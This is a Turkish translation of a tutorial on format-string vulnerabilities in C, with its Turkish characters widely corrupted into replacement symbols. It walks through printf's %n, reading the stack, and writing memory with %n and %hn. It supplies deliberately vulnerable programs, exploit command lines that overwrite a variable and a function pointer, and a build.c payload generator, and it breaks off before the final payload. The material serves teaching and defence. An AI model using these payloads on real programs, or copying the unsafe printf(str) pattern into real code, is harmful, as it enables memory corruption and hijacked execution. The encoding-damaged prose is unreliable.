|
|
Bu makalenin farkl� dillerde bulundu�u adresler: English Deutsch Francais Nederlands Portugues Russian Turkce |
taraf�ndan Frédéric Raynal, Christophe Blaess, Christophe Grenier Yazar hakk�nda: Christophe Blaess ba��ms�z bir aeronotic m�hendisidir. Kendisi Linux hayran�d�r ve il�rerinin bir�o�unu Linux alt�nda yapmaktad�r. Linux Kaynakyaz�land�r�m Projesi (Linux Documentati�n Project) taraf�ndan yay�mlanan man sayfalar�n�n �evirilmesini y�netmektedir. Christophe Grenier ESIEA'da ��renci olarak 5. y�l�ndad�r ve ayn� zamanda burada sistem y�neticili�i yapmaktad�r. Bilgisayar g�venli�i konusunda �zel merak� vard�r. Frédéric Raynal, �evreyi kirletmedi�i, hormon kullan�lmad���, MSG veya hayvansal malzemeler kullan�lmad��� ve sadece tatl�dan olu�tu�u i�in Linux i�letim sistemini y�llard�r kullanmaktad�r. ��erik:
|
�zet:
Bir s�redir katarlar�n bi�imlendirilmesi ile ilgili g�venlik a��klar�n�n say�s�nda olduk�a �nemli art��lar g�zlenmektedir. Bu makalede tehlikenin nereden geldi�i anlat�makta ve program i�erisinde alt� byte kazanmak i�in yap�lanlar g�venlik konusunda verilmi� bir tavizin nas�l ortaya ��kt���n� g�stermektedir.
G�venlik a��klar�n�n bir�o�u k�t� yap�lm�� yap�land�rmalardan veya tembellikten dolay� ortaya ��kmaktad�r. Bu yarg� katarlar�n bi�imlendirilmesi i�in de ge�erlidir.
Genellikle program i�erisinde null ile sonland�rlm�� katarlarlar�n
kullan�m�na gereksinim vard�r. Bunun program i�erisindeki yeri �nemli de�ildir.
Sorun belle�e dou�rudan yap�lan yazma i�leminden kaynaklanmaktad�r.
Sald�r�, stdin
, dosyalar ve benzeri yerlerden gelebilir.
Tekbir komut yeterli olmaktad�r:
printf("%s", str);
Bunun yan�nda programc�, alt� byte ve zamandan kazanmak isteyebilir ve :
printf(str);
yazabilir. Akl�nda sadece "ekonomi" vard�, ancak programc�
kendi program�nda olas� bir g�venlik a���� yaratm�� olur.
Ekranda g�r�nt�lenmek �zere tek parametre kulland��� i�in programc� memnun.
Ancak, karakter katar� i�erisinde (%d
, %g
...)
gibi bi�imlendirme i�aretlerine kar�� incelenecektir. E�er, b�yle bir
i�aret bulunursa, buna kar�� gelen parametre, y���t �zerinde aranacakt�r.
��e printf()
fonksiyonlar� ailesini tan�tmakla ba�layaca��z.
Ayr�nt�l� olarak olmasa da herkes en az�ndan bu fonksiyonlar� tan�yor.
Biz bu fonksiyonlar�n az bilinen y�nleri ile ilgilenece�iz.
Daha sonra b�yle bir hatadan yararlanman�n bilgisini de verece�iz.
Sonunda, b�t�n bu anlat�lanlar� bir �rnek �zerinde g�sterece�iz.
printf()
: onlar bana yalan s�yledi !Hepimizin bildi�i ve programlama kitaplar�nda yer alan C'de giri�/��k�� fonksiyonlar�n�n bir�o�u verileri bi�imlendirilmi� olarak i�lemektedir. Bunun anlam�, verileri i�lemek i�in sadece verinin kendisini de�il, ayn� zamanda nas�l g�sterilece�ini de belirtmek gerekmektedir. A�a��daki program bu konuyu g�stermektedir :
/* display.c */ #include <stdio.h> main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); }Program� �al��t�rd���n�zda :
>>gcc display.c -o display >>./display int : 64 97 char : @ a�lk
printf()
fonksiyonu i
tamsay�
ve a
karakter de�i�kenlerinin de�erlerini
int
olarak yazmaktad�r (bu %d
bi�imlendirme i�areti kullan�larak yap�lm��t�r). B�ylece,
a
'n�n ASCII de�eri elde edilmektedir.
Di�er taraftan, ikinci printf
fonksiyonu,
tamsay� de�i�keni olan i
'nin ASCII tablosundaki
kar��l��� olan 64 de�erini g�stermektedir.
�imdiye kadar yeni bir �ey yok. Her�ey printf
ve benzeri fonksiyonlar�n�n sahip oldukalr� tan�mlamaya uygundur :
const char *format
) belirlemektedir;Genelde, bi�imlendirme i�aretlerinin bir listesi (%g
,
%h
, %x
ve .
say�lardaki duyarl�l��� belirttiyor)
verildikten sonra bu konudaki bir�ok programlama
dersi burada sona ermektedir. Ama hi� konu�ulmayan
bir�ey daha vard�r : %n
.
printf()
fonksiyonunun man sayfas�nda bununla ilgili
�unlar yazmaktad�r :
Bu ana kadar yaz�lan karakterlerin say�s�
int * ile belirtilen bir i�aret�i tamsay�
de�i�keninde saklanmaktad�r. Parametre �evirilmesi yap�lmamaktad�r. |
Sadece bir g�r�nt�leme fonksiyonu olmas�na ra�men, bu parametre bir i�aret�i de�i�kene yaz�lmas�n� sa�lamaktad�r. Makalenin en �nemli k�sm� budur!
Devam etmeden �nce, bu bi�imlendirme �ekli
scanf()
ve syslog()
ailesinden olan fonksiyonlar i�in
de ge�erli oldu�unu s�ylemek gerekir.
Bu bi�imlendirme �eklinin �zelliklerini k���k �rnek programlar
arac�l�yla inceleyece�iz. �rneklerden ilki olan printf1
�ok basit bir kullan�m� g�stermektedir :
/* printf1.c */ 1: #include <stdio.h> 2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: }
�lk printf()
fonksiyonu 10 karakterden olu�an bir
katar� ekrana yazmaktad�r. %n
bi�imlendirme i�areti sayesinde,
bu de�er n
de�i�kenine yazi�lmaktad�r. Program� derleyip,
�al��t�r�rsak :
>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10elde ederiz. �imdi program� biraz de�i�tirelim. Bunun i�in 7.sat�rdaki
printf()
ifadesini a�a��daki :
7: printf("buf=%s%n\n", buf, &n);ile de�i�tirelim.
Bu program �al��t�r�ld���nda d���ncemiz do�rulanmaktad�r :
n
de�i�keni art�k 14 (10 karakter buf
den ve
4 karakter de bi�imlendirme katar�ndan "buf=
") t�r.
Demek ki %n
, bi�imlendirme katar�nda yer alan
t�m karakterleri saymaktad�r. printf2
program�nda
da g�rece�imiz gibi, daha da fazlas�n� saymaktad�r :
/* printf2.c */ #include <stdio.h> main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); }
snprintf()
fonksiyonun kullan�lmas�n�n nedeni,
bellek ta�malar�n� �nlemektir. n
de�i�keninin de�eri 10
olmal�d�r.
>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100Garip de�il mi ? Ger�ekte,
%n
yaz�lmas�
gereken karakter
say�s�n� ele almaktad�r. Bu �rnek, boyut a��lmas�ndan dolay�
yap�lmas� gereken k�saltma�n g�zard� edildi�ini g�stermektedir.
Ger�ekte ne oldu? Olan �u, bi�imlendirme katar� �nce geni�letildi, sonra boyutu kadar� al�nd� (kesildi) ve hedef bellek alan�na kopyaland�:
/* printf3.c */ #include <stdio.h> main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); }
printf3
program�, printf2
program�na
g�re baz� farkl�l�klar i�ermektedir:
>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)�lk iki sat�r s�rpriz de�il. Son sat�r ise,
printf()
fonksiyonunun �al��ma �eklini g�stermektedir :
00000\0
" katar� olu�turmu�tur;x
de�i�keninin de�erinin kopyalanmas� g�stermektedir.
Bunun sonucunda katar, "01234\0
" �eklinde g�r�nmektedir;sizeof buf - 1
byte2 l�k k�s�m hedef buf
katar�na kopyalanm�� ve
"0123\0
" elde edilmi�tir.GlibC
belgelerine, �zellikle
${GLIBC_HOME}/stdio-common
dizinindeki
vfprintf()
fonksiyonuna bakabilir.
Bu b�l�m� bitirmeden �nce, ayn� sonu�lar� bi�imlendirme
�eklini biraz de�i�tirerek de elde etmenin m�mk�n oldu�unu
s�ylemek gerekir. Daha �nce, duyarl�l�k ('.' nokta)
denilen bi�imlendirmeden faydalanm��t�k.
Benzer sonu�lar� : 0n
ile elde etmek m�mk�nd�r.
Buradaki, n
say�s�, katar geni�li�ini,
0
ise, katar�n alabilece�i kapasite doldurulmad�ysa,
geriye kalan k�s�mlar� bo�luklarla tamamlanmas� i�in konulmu�tur.
Art�k katar bi�imlendirmeleri konusunda hemen hemen her�eyi,
�zellikle de %n
konusunda, ��rendi�inize g�re �imdi
bunlar�n davran��lar�n� inceleyece�iz.
printf()
�imdiki program, printf()
fonksiyonu ile y���t
aras�ndaki ili�kinin ne oldu�unu ��renmede bize rehberlik edecektir :
/* stack.c */ 1: #include <stdio.h> 2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: }Program, parametre ile verilen de�eri
buffer
karakter dizisine kopyalamaktad�r. Verilerin
bellek ta�mas� sonucu �zerine yaz�lmamas�
i�in �zen g�stermekteyiz (bi�imlendirme katarlar�, bellek taimalar�na
g�re ger�ekten daha �zenlidirler).
>>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674)Program, tam bekledi�imiz gibi �al��maktad�r :) Daha ileriye gitmeden �nce, 8. sat�rdaki
snprintf()
fonksiyonu �a��rma s�ras�nda
y���t taraf�nda neler oldu�una bir bakal�m.
Fig. 1 : snprintf() fonksiyonunu
�a��rmadan �nce y���t�n durumu. |
1 �izimi, snprintf()
fonksiyonunu �a��rmadan �nceki y���t�n durumunu g�stermektedir
(bunun do�ru olmad���n� g�rece��z...). Bu �izim sadece olanlar hakk�nda
bir fikir vermek i�in haz�rlanm��t�r. %ebp
registerin alt�nda bir yerde bulunan %esp
registerini
dikkate almayaca��z. Daha �nceki makaleden hat�rlanaca�� �zere,
%ebp
ve %ebp+4
'de bulunan ilk de�er,
s�ras�yla %ebp
ve %ebp+4
'�n yedekleridir.
Daha sonra snprintf()
fonksiyonunun parametreleri
gelmektedir :
argv[1]
bi�imlendirme
katar�n�n adresi gelmektedir.tmp
karakter dizisinin verileri, 64 byte'l�k buffer
ve i
tamsay� de�ikeni yer almaktad�r.
argv[1]
katar� ayn� zamanda hem bi�imlendirme
ve hemde veri olarak kullan�lmaktad�r. snprintf()
fonksiyonunun normal s�ras�na g�re bi�imlendrime katar� yerine
argv[1]
g�z�kmektedir. Bi�imlendirme katar�n�,
bi�imlendirme i�aretleri olmadan da kullanabilece�imize g�re (sadece metin gibi)
her�ey yolunda demektir :)
Peki, argv[1]
i�erisinde bi�imlendirme i�aratleri
oldu�unda acaba ne olmaktad�r? Normalde, snprintf()
foksiyonu onlar� oldu�u gibi de�erlendirmektedir, ba�ka t�rl�
olmas� i�in bir neden yoktur! Ancak, burada bi�imlendirme i�in,
hangi parametrelerin veri olarak kullan�laca��n� merak edebiliriz.
Ger�ekte snprintf()
fonksiyonu gerekli verileri,
y���ttan almaktad�r! Bunun b�yle oldu�unu, stack
program�ndan g�rebilirsiniz :
>>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
�lk �nce "123
" katar� buffer
�zerine
kopyalanmaktad�r. %x
ifadesi, ilk parametreyi �evirmesi i�in
snprintf()
fonksiyonundan istekte bulunmaktad�r.
1 �iziminden de anla��laca�� �zere,
ilk parametre \x01\x02\x03\x00
de�erine sahip olan
tmp
de�i�keninden ba�kas� de�ildir. x86 i�lemcimizin
k���k indian mimarisine g�re bu katar�n 16'l�k say� taban�na g�re
de�eri 0x00030201 olmaktad�r.
>>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
�kinci bir %x
eklenmesiyle, y���t �zerinde daha da yukar�ya
ula�abiliriz. Bu snprintf()
fonksiyonuna daha sonraki 4
byte'a bakmas�n� s�ylemektedir. Ger�ekte bu 4 byte buffer
de�i�keninin 4 byte d�r. buffer
de�i�keni,
"123
" katar�n� i�ermektedir, 16'l�k
say� taban�na g�re bu de�er 0x20333231 (0x20=bo�luk, 0x31='1'...) dir.
Dolay�s�yla her %x
i�in, snprintf()
fonksiyonu y���t �zerinde bulunan buffer
de�i�keninin 4 byte'�na (4 byte olmas�n�n nedeni,
x86 i�lemcisi unsigned int
i�in 4 byte ay�rmaktad�r)
daha ula�maktad�r. Bu de�i�ken iki i�levi yerine getirmektedir:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654)
Parametreler aras�nda yerde�i�tirme gerekti�i durumda
(s�zgelimi tarih ve saat bilgilerini g�stermek gerekti�inde)
uygun bi�imlendirme ifadesini bulmak m�mk�nd�r.
Biz, %
i�aretinin hemen ard�na m
>0 bir tamsay� olmak �zere m$
ifadesini ekledik.
Bu bize, parametre listesinde kullan�lacak de�i�kenin
yerini (1'den ba�lamak �zere) vermektedir :
/* explore.c */ #include <stdio.h> int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); }
m$
bi�imlendirme ifadesi sayesinde, y���t
�zerinde, gdb
ile yapabildi�imiz gibi
istedi�imiz yere gidebiliyoruz :
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
Buradaki \
karakteri, kabuk program�n�n
$
karakterini ba�ka t�rl� yorumlamas�n�
�nlemek amac�yla konulmaktad�r. �lk �� �al��t�rmada,
buf
de�i�keninin i�eri�ini elde ettik.
%4\$x
ifadesiyle, %ebp
register�nda
yedeklenmi� de�eri ve %5\$x
ifadesiyle,
%eip
register �zerine yedeklenmi� de�eri
(d�n�� adresleri) elde ettik. Son iki �al��t�rmada ise,
argc
de�i�keninin de�erini ve *argv
de yer alan adres de�erini (unutmay�n ki **argv
ifadesi, *argv
'nin de�erleri adresler olan
bir dizidir) elde ettik.
Bu �rnekte de g�r�ld��� gibi, verilen bi�imlendirme ifadelerine g�re
y���t �zerinde bilgi arayabilir, adresler bulabiliriz vs.
Ayn� zamanda, bu makalenin ba��nda g�rd�k ki printf()
ailesinden olan fonksiyonlar yard�m�yla buralara yzabiliriz.
Bu size de bir potansiyel g�venlik a���� olarak g�r�nm�yor mu?
stack
program�na geri d�nelim:
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [döÿ¿000000000000000000000000000000000000000000000000 00000000000] (63) i = 500 (bffff664)Giri� katar� olarak �unlar� veriyoruz::
i
de�i�keninin adresinini;%.496x
) bi�imlendirme ifadesini;%n
) ifadesini,
verilen adrese yazmak i�in veriyoruz.i
de�i�keninin adresini (burada 0xbffff664
)
bulabilmek i�in program� iki defa �al��t�rabiliriz ve
komut sat�r�ndaki parametreleri de ona g�re de�i�tirebiliriz.
G�r�ld��� gibi, i
'nin yeni de�eri var :)
Verilen bi�imlendirme ifadesi ve y���t�n yap�land�rmas�
snprintf()
fonksiyonun a�a��daki gibi g�r�nmesini sa�lamaktad�r :
snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, katardaki 4 byte);
i
adresini i�eren ilk d�rt byte, buffer
katar�n�n ba��na yaz�lmaktad�r. %.496x
bi�imlendirme
ifadesi, y���t�n ba��nda bulunan tmp
de�i�keninden
kurtulmam�z� sa�lamaktad�r. Ondan sonra %n
bi�imlendirme ifadesi verildi�inde, art�k i
de�i�keninin adresi buffer
katar�n�n ba��nda
yer alacakt�r. 496 byte'l�k duyarl�l��a sahip olmam�z gerekirken,
snprintf fonksiyonu maksimum 60 byte yazmaktad�r (��nk�,
katar�n boyutu 64't�r ve 4 byte zaten yaz�lm��t�). 496 rakam� rastgele
olu�mu�tur ve sadece "byte sayac�n�" ayarlamak amac�yla kullan�lmaktad�r.
%n
ifadesinin kendisinden �nce yaz�lm�� byte say�s�n�
elde etmekte kullan�ld���n� daha �nce g�rm��t�k. Buradan elde edilen de�er
496 d�r ve biz buna buffer
ba��nda bulunan i
de�i�keninin 4 byte'l�k adres de�erini eklememiz gerekmektedir.
Sonu�ta 500 elde edilmektedir. Bu de�er, y���t �zerinde
sonraki adrese, i
de�i�keninin adresine,
yazmam�z� sa�layacakt�r.
Bu �rnekten hareketle daha da ileriye gidebiliriz. i
'yi
de�i�tirmek i�in, onun adresine sahip olmam�z gerekmektedir... Ama
bazen program�n kendisi bize bu bilgiyi vermektedir :
/* swap.c */ #include <stdio.h> main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); }
Bu program� �al��mas�, y���t� istedi�imiz (hemen hemen) gibi kullanabilece�imizi g�stermektedir:
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
G�r�ld��� gibi, parametrenin de�erine g�re,
cpt1
veya cpt2
de�i�keninin de�erini
de�i�tirebiliyoruz. %n
bi�imlendirme ifadesi
parametre olarak adres istemektedir, bu nedenledir ki biz
de�i�kenleri do�rudan (%3$n (cpt2)
veya
%4$n (cpt1)
kullanarak) de�i�tiremiyoruz. Bunu ancak,
i�aret�iler kullanarak yapabiliyoruz. Bu da bize, �zerinden bir s�r�
de�i�iklik yapabilece�imiz "yeni malzeme" vermektedir.
egcs-2.91.66
ve glibc-2.1.3-22
kullanarak derlenmi�ti. Ancak, siz
kendi bilgisayar�n�zda ayn� sonu�lar� elde edemeyebilirsiniz.
*printf()
�eklindeki fonksiyonlar, glibc
g�re de�i�mektedir ve derleyiciler ayn� i�lemleri yerine getirmemektedir.
stuff
program� farkl�l�klar� ortaya ��kartmaktad�r:
/* stuff.c */ #include <stdio.h> main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s <format>\n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); }
aaa
ve bbb
dizileri, y���t �zerindeki
gezintimiz s�ras�nda ayra� olarak g�rev yapmaktad�r.
Dolay�s�yla, 424242
buldu�umuz anda, ondan sonra gelen
byte'lar buffer
de�i�keninin bilgileri olacakt�r.
1 tablosunda, glibc'nin ve derleyicilerinin
farkl� s�r�mlerinde elde edilmi� de�erleri g�rmekteyiz.
Tab. 1 : glibc aras�ndaki farkl�l�klar | ||
---|---|---|
|
|
|
gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) |
egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) |
gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
Makalenin geri kalan�nda biz egcs-2.91.66
ve
glibc-2.1.3-22
kullanaca��z, e�er siz kendi
bilgisayar�n�zda ba�ka sonu�lar elde edersiniz, hi� �a��rmay�n.
Katar ta�malar�n� kullan�rken, d�n�� de�eri �zerine yazabilmek i�in bir katardan faydalanm��t�k.
Bi�imlendirme katarlar� durumunda ise,
her yere (y���t, heap, bss, .dtors, ...)
gidebilece�imizi g�rd�k, sadece nerey ve ne yazaca��m�za
karar vermemiz yeterli, geriye kalan i�i %n
yerine getirecektir.
/* vuln.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } for(i=0;i<argc;i++) printf("%d %p\n",i,argv[i]); exit(vuln(argv[1])); } int helloWorld() { printf("Welcome in \"helloWorld\"\n"); fflush(stdout); return 0; } int accessForbidden() { printf("You shouldn't be here \"accesForbidden\"\n"); fflush(stdout); return 0; }
ptrf
ad�nda ve fonksiyon i�aret�isi olan bir de�i�ken tan�mlad�k.
Bu de�i�kenin de�erini, �al��t�rmak istedi�imiz fonksiyonu g�sterecek
�ekilde de�i�tirece�iz.
�lk �nce, buffer de�i�kenin ba�lang�c� ile y���t aras�ndaki uzakl��� bulmam�z gerekiyor :
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
Program� ilk �al��t�rd���m�zda istedi�imizi elde ediyoruz :
buffer
de�ikeninden bizi 3 kelime
(x86 i�lemcilerinde bir kelime = 4 byte d�r) ay�rmaktad�r.
Bunun ger�ekte b�yle oldu�unu program� AAAA%3\$x
parametresini vererek ikinci defa �al��t�rd���m�zda anl�yoruz.
Amac�m�z, ptrf
de�i�kenin ba�lang��ta i�aret
etti�i 0x8048634
(helloWorld()
fonksiyonunun
adresi) adresinden, 0x8048654
(accessForbidden()
fonksiyonunun adresi) adresini
g�sterecek �ekilde de�i�tirmektir.
Bunun i�in 0x8048654
byte (16'l�k tabana g�re, bu yakla��k 128 MB d�r),
yazmam�z gerekecektir. T�m bilgisayarlar bu kadar belle�e sahip olmayabilirler,
ama bizim bilgisayarda bu kadar bellek var:) 350 MHz'lik iki i�lemcili
Pentium olan bilgisayar�m�zda bu i�lem 20 saniye s�rd� :
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000 0000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
Biz ne yapt�k? Yapt���m�z �ey sadece
ptrf (0xbffff5d4)
adresini sa�lamak oldu.
Sonraki bi�imlendirme ifadesi (%.134514256x
)
y���t �zerindeki 134514256 byte �tede bulunan ilk kelimeyi
(ptrf
de�i�kenininden itibaren 4 byte zaten yazm��t�k,
dolay�s�yla geriye 134514260-4=134514256
byte kal�yor)
okumaktad�r. Sonunda, istedi�imiz de�eri, verilmi� olan adrese (%3$n
)
yazm�� olduk.
Ancak, daha �nce de s�yledi�imiz gibi, 128 MB'l�k bellek kullanmak
herzaman m�mk�n de�ildir. %n
bi�imlendirme ifadesinin,
4 byte'l�k bir tamsay� de�i�kenini g�sterecek bir i�aret�iye ihtiyac� vard�r.
%hn
bi�imlendirme ifadesi sayesinde bunu,
short int
- 2 byte'l�k bir i�aret�i kullanacak �ekilde
de�i�tirebiliyoruz. Dolay�s�yla yazmak istedi�imiz tam say�
de�erini iki b�l�me ay�rm�� oluyoruz. Yaz�labilecek en b�y�k k�s�m
art�k, 0xffff
byte'a (65535 byte) s��maktad�r.
B�ylece, �nceki �rnekte yer alan "0xbffff5d4
adresi �zerine
0x8048654
" yazma i�lemini, iki ard���k i�lem haline getiriyoruz :
0x8654
de�erini 0xbffff5d4
adresine yazmak0x0804
de�erini 0xbffff5d4+2=0xbffff5d6
adresine yazmakAncak, %n
(veya %hn
) ifadesi,
katar �zerine yaz�lan toplam karakter say�s�n� saymaktad�r.
Bu say� sadece artabilmektedir. �lk �nce, ikisi aras�ndaki en k���k
de�eri yazmam�z gerekir. Ondan sonra, ikinci bi�imlendirme
ifadesi, duyarl�l�k olarak yaz�lan ilk say� ile gerekli say�
aras�ndaki fark� kullanacakt�r. S�zgelimi, bizim �rnekte,
ilk bi�imlendirme i�lemi %.2052x
(2052 = 0x0804)
ve ikincisi %.32336x
(32336 = 0x8654 - 0x0804)
olmal�d�r. Hemen arkadan yaz�lan her %hn
ifadesi,
byte say�s�n� do�ru olarak hesaplayacakt�r.
Bizim sadece %hn
ifadelerini nereye yazaca��m�z�
belirlememiz gerekecektir. Bunun i�in, m$
ifadesi
bize yard�mc� olacakt�r. E�er, adresleri katar�n ba��na kaydedersek,
m$
ifadesinin yard�m�yla y���t �zerinde hareket ederek,
gerekli uzakl��� bulabiliriz. Ondan sonra iki adres de
m
ve m+1
uzakl�kta olacakt�r.
Katar�n ilk 8 byte'�na �zerine yaz�lacak adres de�erini
kaydetti�imiz i�in, ilk yaz�lan de�erden 8 ��kartmak gerekecektir.
Bi�imlendirme katar� a�a��daki gibi olamaktad�r:
"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max -
val. min.]x%[offset+1]$hn"
Bi�imlendirme katar�n� olu�turmak i�in, build
program�
�� parametre kullanmaktad�r:
/* build.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /** Yaz�lacak 4 byte �u �ekilde yerle�tirilmektedir : HH HH LL LL "*h" ile biten de�i�kenler kelimenin �st k�sm�n� g�stermektedir (H). "*l" ile biten de�i�kenler kelimenin alt k�sm�n� g�stermektedir (L). */ char* build(unsigned int addr, unsigned int value, unsigned int where) { /* do�ru de�eri bulabilmek i�in olduk�a tembel... :*/ unsigned int length = 128; unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* de�eri ayr�nt�land�rma */ valh = (value >> 16) & 0xffff; //�st vall = value & 0xffff; //alt fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* katar i�in bellek ay�r�m� */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* �imdi olu�tural�m */ if (valh < vall) { snprintf(buf, length, "%c%c%c%c" /* �st adres */ "%c%c%c%c" /* alt adres */ "%%.%hdx" /* ilk %hn i�in de�eri yerle�tirme*/ "%%%d$hn" /* %hn �st k�s�m i�in */ "%%.%hdx" /* ikinci %hn i�in de�eri yerle�tirme */ "%%%d$hn" /* %hn alt k�s�m i�in */ , b3+2, b2, b1, b0, /* �st adres */ b3, b2, b1, b0, /* alt adres */ valh-8, /* ilk %hn i�in de�eri yerle�tirme */ where, /* %hn �st k�s�m i�in */ vall-valh, /* ikinci %hn i�in de�eri yerle�tirme */ where+1 /* %hn alt k�s�m i�in */ ); } else { snprintf(buf, length, "%c%c%c%c" /* �st adres */ "%c%c%c%c" /* alt adres */ "%%.%hdx" /* ilk %hn i�in de�eri yerle�tirme */ "%%%d$hn" /* %hn �st k�s�m i�in */ "%%.%hdx" /* ikinci %hn i�in de�eri yerle�tirme */ "%%%d$hn" /* %hn alt k�s�m i�in */ , b3+2, b2, b1, b0, /* �st adres */ b3, b2, b1, b0, /* alt adres */ vall-8, /* ilk %hn i�in de�eri yerle�tirme */ where+1, /* %hn �st k�s�m i�in */ valh-vall, /* ikinci %hn i�in de�eri yerle�tirme */ where /* %hn alt k�s�m i�in */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc < 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* adresse */ strtoul(argv[2], NULL, 16), /* valeur */ atoi(argv[3])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; }
Yaz�lacak de�erin kelimenin �st veya alt taraf�na yaz�lmas�na g�re parametrelerin yeri de�i�mektedir. Herhangi bellek sorunu ya�amadan �nce yapt���m�z bir deneyelim.
Basit �rne�imiz bize, ilk �nce uzakl���n tahmin edilmesinde yard�mc� olmaktad�r:
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
De�er herzaman ayn� : 3. Program� olanlar� g�stermesi i�in yazd���m�za g�re
ptrf
ve accesForbidden()
i�in gerekli
olan bilgilere sahip oluyoruz. Katar�m�z� buna g�re olu�turabiliriz:
